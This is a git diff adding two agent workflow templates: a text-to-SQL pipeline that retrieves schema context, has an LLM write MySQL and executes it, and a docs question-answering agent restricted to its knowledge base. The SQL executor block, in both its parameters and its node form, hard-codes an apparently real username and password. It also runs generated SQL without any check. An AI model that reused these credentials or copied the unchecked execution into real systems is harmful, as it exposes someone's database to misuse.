"canvas_type": "Marketing", + "dsl": { + "components": { + "Agent:WickedGoatsDivide": { + "downstream": [ + "ExeSQL:TiredShirtsPull" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "qwen-max@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant. \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request. \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n### EXAMPLES \n-- Example 1 \nUser: List every product name and its unit price. \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2 \nUser: Show the names and emails of customers who placed orders in January 2025. \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3 \nUser: How many orders have a status of \"Completed\" for each month in 2024? \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4 \nUser: Which products generated at least \\$10 000 in total revenue? \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request. \n2. Write **only** the final MySQL query. \n3. Do **not** wrap the query in back-ticks or markdown fences. \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Retrieval:HappyTiesFilm", + "Retrieval:SmartNewsHammer", + "Retrieval:SweetDancersAppear" + ] + }, + "ExeSQL:TiredShirtsPull": { + "downstream": [ + "Message:ShaggyMasksAttend" + ], + "obj": { + "component_name": "ExeSQL", + "params": { + "database": "", + "db_type": "mysql", + "host": "", + "max_records": 1024, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "password": "20010812Yy!", + "port": 3306, + "sql": "{Agent:WickedGoatsDivide@content}", + "username": "13637682833@163.com" + } + }, + "upstream": [ + "Agent:WickedGoatsDivide" + ] + }, + "Message:ShaggyMasksAttend": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{ExeSQL:TiredShirtsPull@formalized_content}" + ] + } + }, + "upstream": [ + "ExeSQL:TiredShirtsPull" + ] + }, + "Retrieval:HappyTiesFilm": { + "downstream": [ + "Agent:WickedGoatsDivide" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "begin" + ] + }, + "Retrieval:SmartNewsHammer": { + "downstream": [ + "Agent:WickedGoatsDivide" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "begin" + ] + }, + "Retrieval:SweetDancersAppear": { + "downstream": [ + "Agent:WickedGoatsDivide" + ], + "obj": { + "component_name": "Retrieval", + "params": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + }, + "upstream": [ + "begin" + ] + }, + "begin": { + "downstream": [ + "Retrieval:HappyTiesFilm", + "Retrieval:SmartNewsHammer", + "Retrieval:SweetDancersAppear" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SQL assistant. What can I do for you?" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Retrieval:HappyTiesFilmend", + "source": "begin", + "sourceHandle": "start", + "target": "Retrieval:HappyTiesFilm", + "targetHandle": "end" + }, + { + "id": "xy-edge__beginstart-Retrieval:SmartNewsHammerend", + "source": "begin", + "sourceHandle": "start", + "target": "Retrieval:SmartNewsHammer", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Retrieval:SweetDancersAppearend", + "source": "begin", + "sourceHandle": "start", + "target": "Retrieval:SweetDancersAppear", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:HappyTiesFilmstart-Agent:WickedGoatsDivideend", + "source": "Retrieval:HappyTiesFilm", + "sourceHandle": "start", + "target": "Agent:WickedGoatsDivide", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:SmartNewsHammerstart-Agent:WickedGoatsDivideend", + "markerEnd": "logo", + "source": "Retrieval:SmartNewsHammer", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Agent:WickedGoatsDivide", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Retrieval:SweetDancersAppearstart-Agent:WickedGoatsDivideend", + "markerEnd": "logo", + "source": "Retrieval:SweetDancersAppear", + "sourceHandle": "start", + "style": { + "stroke": "rgba(91, 93, 106, 1)", + "strokeWidth": 1 + }, + "target": "Agent:WickedGoatsDivide", + "targetHandle": "end", + "type": "buttonEdge", + "zIndex": 1001 + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:WickedGoatsDividestart-ExeSQL:TiredShirtsPullend", + "source": "Agent:WickedGoatsDivide", + "sourceHandle": "start", + "target": "ExeSQL:TiredShirtsPull", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__ExeSQL:TiredShirtsPullstart-Message:ShaggyMasksAttendend", + "source": "ExeSQL:TiredShirtsPull", + "sourceHandle": "start", + "target": "Message:ShaggyMasksAttend", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SQL assistant. What can I do for you?" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Schema" + }, + "dragging": false, + "id": "Retrieval:HappyTiesFilm", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 414, + "y": 20.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Question to SQL" + }, + "dragging": false, + "id": "Retrieval:SmartNewsHammer", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 406.5, + "y": 175.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "cross_languages": [], + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "query": "{sys.query}", + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + }, + "label": "Retrieval", + "name": "Database Description" + }, + "dragging": false, + "id": "Retrieval:SweetDancersAppear", + "measured": { + "height": 96, + "width": 200 + }, + "position": { + "x": 403.5, + "y": 328 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "retrievalNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": "", + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "qwen-max@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}", + "role": "user" + } + ], + "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant. \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request. \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n### EXAMPLES \n-- Example 1 \nUser: List every product name and its unit price. \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2 \nUser: Show the names and emails of customers who placed orders in January 2025. \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3 \nUser: How many orders have a status of \"Completed\" for each month in 2024? \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4 \nUser: Which products generated at least \\$10 000 in total revenue? \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request. \n2. Write **only** the final MySQL query. \n3. Do **not** wrap the query in back-ticks or markdown fences. \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.", + "temperature": 0.1, + "temperatureEnabled": false, + "tools": [], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "SQL Generator " + }, + "dragging": false, + "id": "Agent:WickedGoatsDivide", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 981, + "y": 174 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "database": "", + "db_type": "mysql", + "host": "", + "max_records": 1024, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "password": "20010812Yy!", + "port": 3306, + "sql": "{Agent:WickedGoatsDivide@content}", + "username": "13637682833@163.com" + }, + "label": "ExeSQL", + "name": "ExeSQL" + }, + "dragging": false, + "id": "ExeSQL:TiredShirtsPull", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1211.5, + "y": 212.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "ragNode" + }, + { + "data": { + "form": { + "content": [ + "{ExeSQL:TiredShirtsPull@formalized_content}" + ] + }, + "label": "Message", + "name": "Message" + }, + "dragging": false, + "id": "Message:ShaggyMasksAttend", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1447.3125, + "y": 181.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "Searches for relevant database creation statements.\n\nIt should label with a knowledgebase to which the schema is dumped in. You could use \" General \" as parsing method, \" 2 \" as chunk size and \" ; \" as delimiter." + }, + "label": "Note", + "name": "Note Schema" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 188, + "id": "Note:ThickClubsFloat", + "measured": { + "height": 188, + "width": 392 + }, + "position": { + "x": 689, + "y": -180.31251144409183 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 392 + }, + { + "data": { + "form": { + "text": "Searches for samples about question to SQL. \n\nYou could use \" Q&A \" as parsing method.\n\nPlease check this dataset:\nhttps://huggingface.co/datasets/InfiniFlow/text2sql" + }, + "label": "Note", + "name": "Note: Question to SQL" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 154, + "id": "Note:ElevenLionsJoke", + "measured": { + "height": 154, + "width": 345 + }, + "position": { + "x": 693.5, + "y": 138 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 345 + }, + { + "data": { + "form": { + "text": "Searches for description about meanings of tables and fields.\n\nYou could use \" General \" as parsing method, \" 2 \" as chunk size and \" ### \" as delimiter." + }, + "label": "Note", + "name": "Note: Database Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 158, + "id": "Note:ManyRosesTrade", + "measured": { + "height": 158, + "width": 408 + }, + "position": { + "x": 691.5, + "y": 435.69736389555317 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 408 + }, + { + "data": { + "form": { + "text": "The Agent learns which tables may be available based on the responses from three knowledge bases and converts the user's input into SQL statements." + }, + "label": "Note", + "name": "Note: SQL Generator" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 132, + "id": "Note:RudeHousesInvite", + "measured": { + "height": 132, + "width": 383 + }, + "position": { + "x": 1106.9254833678003, + "y": 290.5891036507015 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 383 + }, + { + "data": { + "form": { + "text": "Connect to your database to execute SQL statements." + }, + "label": "Note", + "name": "Note: SQL Executor" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "id": "Note:HungryBatsLay", + "measured": { + "height": 136, + "width": 255 + }, + "position": { + "x": 1185, + "y": -30 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode" + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} diff --git a/agent/templates/technical_docs_qa.json b/agent/templates/technical_docs_qa.json new file mode 100644 index 0000000..101d850 --- /dev/null +++ b/agent/templates/technical_docs_qa.json @@ -0,0 +1,335 @@ + +{ + "id": 9, + "title": { + "en": "Technical Docs QA", + "zh": "技术文档问答"}, + "description": { + "en": "This is a document question-and-answer system based on a knowledge base. When a user asks a question, it retrieves relevant document content to provide accurate answers.", + "zh": "基于知识库的文档问答系统，当用户提出问题时，会检索相关本地文档并提供准确回答。"}, + "canvas_type": "Customer Support", + "dsl": { + "components": { + "Agent:StalePandasDream": { + "downstream": [ + "Message:BrownPugsStick" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n\n# Response Guidelines\n\n## When Information is Available\n\n- Provide direct answers based on retrieved content\n\n- Quote relevant sections when helpful\n\n- Cite the source document/section if available\n\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n\n## When Information is Unavailable\n\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n\n- Do NOT attempt to fill gaps with general knowledge\n\n- Suggest alternative questions that might be covered in the docs\n\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n\n# Response Format\n\n```markdown\n\n## Answer\n\n[Your response based strictly on knowledge base content]\n\n**Always do these:**\n\n- Use the Retrieval tool for every question\n\n- Be transparent about information availability\n\n- Stick to documented facts only\n\n- Acknowledge knowledge base limitations\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "This is a technical docs knowledge bases.", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "begin" + ] + }, + "Message:BrownPugsStick": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:StalePandasDream@content}" + ] + } + }, + "upstream": [ + "Agent:StalePandasDream" + ] + }, + "begin": { + "downstream": [ + "Agent:StalePandasDream" + ], + "obj": { + "component_name": "Begin", + "params": {} + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:StalePandasDreamend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:StalePandasDream", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:StalePandasDreamstart-Message:BrownPugsStickend", + "source": "Agent:StalePandasDream", + "sourceHandle": "start", + "target": "Message:BrownPugsStick", + "targetHandle": "end" + }, + { + "id": "xy-edge__Agent:StalePandasDreamtool-Tool:PrettyMasksFloatend", + "source": "Agent:StalePandasDream", + "sourceHandle": "tool", + "target": "Tool:PrettyMasksFloat", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "label": "Begin", + "name": "begin" + }, + "dragging": false, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 47.500000000000014, + "y": 199.5 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.7, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 256, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "presencePenaltyEnabled": false, + "presence_penalty": 0.4, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n\n1. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n\n2. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n\n3. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n\n4. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n\n# Response Guidelines\n\n## When Information is Available\n\n- Provide direct answers based on retrieved content\n\n- Quote relevant sections when helpful\n\n- Cite the source document/section if available\n\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n\n## When Information is Unavailable\n\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n\n- Do NOT attempt to fill gaps with general knowledge\n\n- Suggest alternative questions that might be covered in the docs\n\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n\n# Response Format\n\n```markdown\n\n## Answer\n\n[Your response based strictly on knowledge base content]\n\n**Always do these:**\n\n- Use the Retrieval tool for every question\n\n- Be transparent about information availability\n\n- Stick to documented facts only\n\n- Acknowledge knowledge base limitations\n\n", + "temperature": 0.1, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "Retrieval", + "name": "Retrieval", + "params": { + "cross_languages": [], + "description": "This is a technical docs knowledge bases.", + "empty_response": "", + "kb_ids": [], + "keywords_similarity_weight": 0.7, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + } + }, + "rerank_id": "", + "similarity_threshold": 0.2, + "top_k": 1024, + "top_n": 8, + "use_kg": false + } + } + ], + "topPEnabled": false, + "top_p": 0.3, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Docs QA Agent" + }, + "dragging": false, + "id": "Agent:StalePandasDream", + "measured": { + "height": 87, + "width": 200 + }, + "position": { + "x": 351.5, + "y": 231 + }, + "selected": true, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:StalePandasDream@content}" + ] + }, + "label": "Message", + "name": "Message_0" + }, + "dragging": false, + "id": "Message:BrownPugsStick", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 671.5, + "y": 192.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:PrettyMasksFloat", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 234.5, + "y": 370.5 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "text": "This is a document question-and-answer system based on a knowledge base. When a user asks a question, it retrieves relevant document content to provide accurate answers.\nProcess Steps\n\n#Begin\n\nWorkflow entry: Receive user questions\n\nDocs QA Agent\n\nAI Model: deepseek-chat\n\nFunction: Analyze user questions and understand query intent\n\nRetrieval\n\nFunction: Search for relevant information from connected document knowledge bases\n\nFeature: Ensures answers are based on actual document content\n\nMessage_0 (Output Response)\n\nReturns accurate answers to the user based on the knowledge base\n\n#Core Features\n\nAccuracy: Answers are strictly based on knowledge base content\n\nReliability: Avoid AI illusions and only provide information that is verifiable\n\nSimplicity: Linear process with fast response\n\n#Applicable Scenarios\n\nProduct Documentation Query\n\nTechnical Support Q&A\n\nInternal Enterprise Knowledge Base Search\n\nUser Manual Consultation" + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 154, + "id": "Note:SwiftSuitsFlow", + "measured": { + "height": 154, + "width": 374 + }, + "position": { + "x": 349.65276636527506, + "y": 28.869446726944993 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 374 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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Zz59jP8cAK1ZKitLXxvxoJO/0dKx0kTRkl1gywnH/J6ihFiAOhcyOwLXSd9RoQTlOSPxCzHhftEs9LhCBEMFLcTGUniMLTQl+D04bAb/rgdkYYqxKNTwLR55EiTUIsr0ESOpjLLTvpTqpRntt1iI1lEWSYCcn/47KMY6z5P4cyyIJVQdRLh2DCs9Bji5cswFFmLT68MYPv2h7hQppCNrfCGboUNPToCLU4JSE0LlpuQhBbdB2mCplVixEYqiT97KU9JdZHjDRXSbY10JJXKMmt5W/ca0Sjil0+ThBsoqYjg9k1tuHrxND638S5iW8G2smRuQGG5K+J7U8udO91yAUNTSTgVA+8f70BSGEqEKZMNRjVhDzchAyWWllZSDz0bwnPPPoa/2LgY6XQGSdouxTObERudhJYdpxCnr8OoCkSyuFiPkUK+pw869bK/tpGDykMUySGhSggyU9lCGsNJ8pxCEt4z7TDTeWSpnXOBGigBCh2ygpVta4ibeWhUZBp7zMu1RoneymBc27l02Ty0HzwORQlCZRQGiDaCezuJ/aZ507MRA0/VyEGHRvDy81/HlrvX467P7UCEXObY7h9RmBgcLDIGyGQ1k0NOUG1TTGsN2Y7LeOMXz6G5uZr0wI/uqIx4nP1GvpOnrPSTUBboDeWoFfJHDsLpEaWYw8xtn8elQ/ux+YEHUe5nxgkaLl7Pw+h6WN4XR1JQS6oriT5klYzkHw8dsaMuC2+G6cmTjIkmUvgBl4dYn0jZQ+nA6as4dPYqaEHgs0tXULLiUU5HJ55hVjrIlbLJOBwGTTCJcrOvF5+e+YgE0IX7t7+AGXe34ZEVDSivno5ftPfhAmUraA5MCeV26rjtOQm67J7Rijhpvp80OlIaRppg4SQIGCy9KV3BpWGaZxpLaOX99+10yWGkCH9uqYBED3Ww3yvMPbvW7AzwIXRpSUUl0uOTaJpeRVpxDYlMmkONe2XjmsPDSFPFffe7j+Dd359ga03aGQiWVuIP5/vx0mt7Ic1rocYAjg0Z+OD1T/B326tYsqPIOzjFU6OQP95Pl8Jr9+O0Ozaj+6MPcNfDX0eI3CxOQzjG0ormmD1SH9JQCFtK6R6t3lm/tBU+v4V8UQVe/oe/wtu7DtpGkyrwXJQCy4ntyFmQIOpk0DC9FiVhBxa0LGDE2Oic6T/Y+Ve4cKGHPmkSn54agr9pAVVbEIXKGdjx6AMY5zQepz90393r2LgGHBUuzKopJWXvxUCM/XX8IDfMYDHr7pZlBBAK+nAI629fixynrmUSWERQJdFfsJ8zdJC/84MdtP+A/tE8zr74f/DdH/4OalkdlBA5iylx4tEh4FtNy84J7G2zrNJpQX/TCAc9WEqh88ob+8hjLHh9nPvxQST6eogsFBxTBgEihbWrluCRr2zD+yc7KGg0LK70IRqnfRIjVHacBEZZSnS8Ce+oW7gI/edOY+Nd90IlidTFVBeGsDB7b1WEZYmqoGOOUAWKaSVW96Zx15M/gbd5DrG6A87COIwSBxykDubYCJ0wQhiFj2BQikxeY1KokxIoToMzLIua+kqkJtJ2tkD4ldicOiWnOjWCi/s+xOFT/VBu+xzKZs3D4aEY4tcH8PRd06FT3akj1Mo0g00Ke+/KtYhevYb6hYsxdxrF0lhaJMb+sm5tQjwkVoZEoimfnzDx3uUM/PPWo2r9A4hf+Ux42shT01rsC2FboaKGmoECuwB75zlO3bs33Y7VKxrZJ5SJtNpFjwjnTfQNHOLwg98pKxWvBzNn16KhSoH2h1cx9Mq/INlBkkao1jk/lCniF+eAQC2L8NqwZDFGrpzE5+7ZiDoiTzYvbsqIG7eizuXb7sSfiyjiccPvZK3zjaPxNBY+/jya6spgfdpO5V8GrWq2HQHJ7YG7tJY2h5eCR8V3/3oHdu09iY/3H0VHJzNE5626igcdwhLPZ6h5WH5sTpM/y5aG6soKrNu8HstmlWP22GncXpRFggsvkDbz4uytKZSu2oCuP32CaW23oYgm1qdXaWIxGKIPC1y6vUmWtY3Q7AUbMXe//x5hzIsF1V6Uuk10Xx9C89YvYdMP/hnLJXKdyeuwprVCJ4tMMzMscpuvR1pXY+jGIAqcpuNjw/jDu+3o7++1m1ok2eAAy1Nw6JksKiJhrFm2iD7wBK0QF7V1EUb6OuHv7oNSII/iILUCZQiR9ab7O3H7uo3Ii0muiJVat655q4xENPmaaZ8p8HdTB17B+y/8f4qnKH1QH36yiXSJtUiPDIH7nsT0FauAj37HSHig1s7hZv3IcDqPJdlcRcVUSCw3YZGX0uglBAq1xtCgmVSZHMEmiR8cbMevfvkmKqqqMDQwAh/RyeUOoOASriBBIptG6do7MHDij5i+YTuKPBQ/pNYFlk2Wmc0XRMOKcxdLHObQ1hLf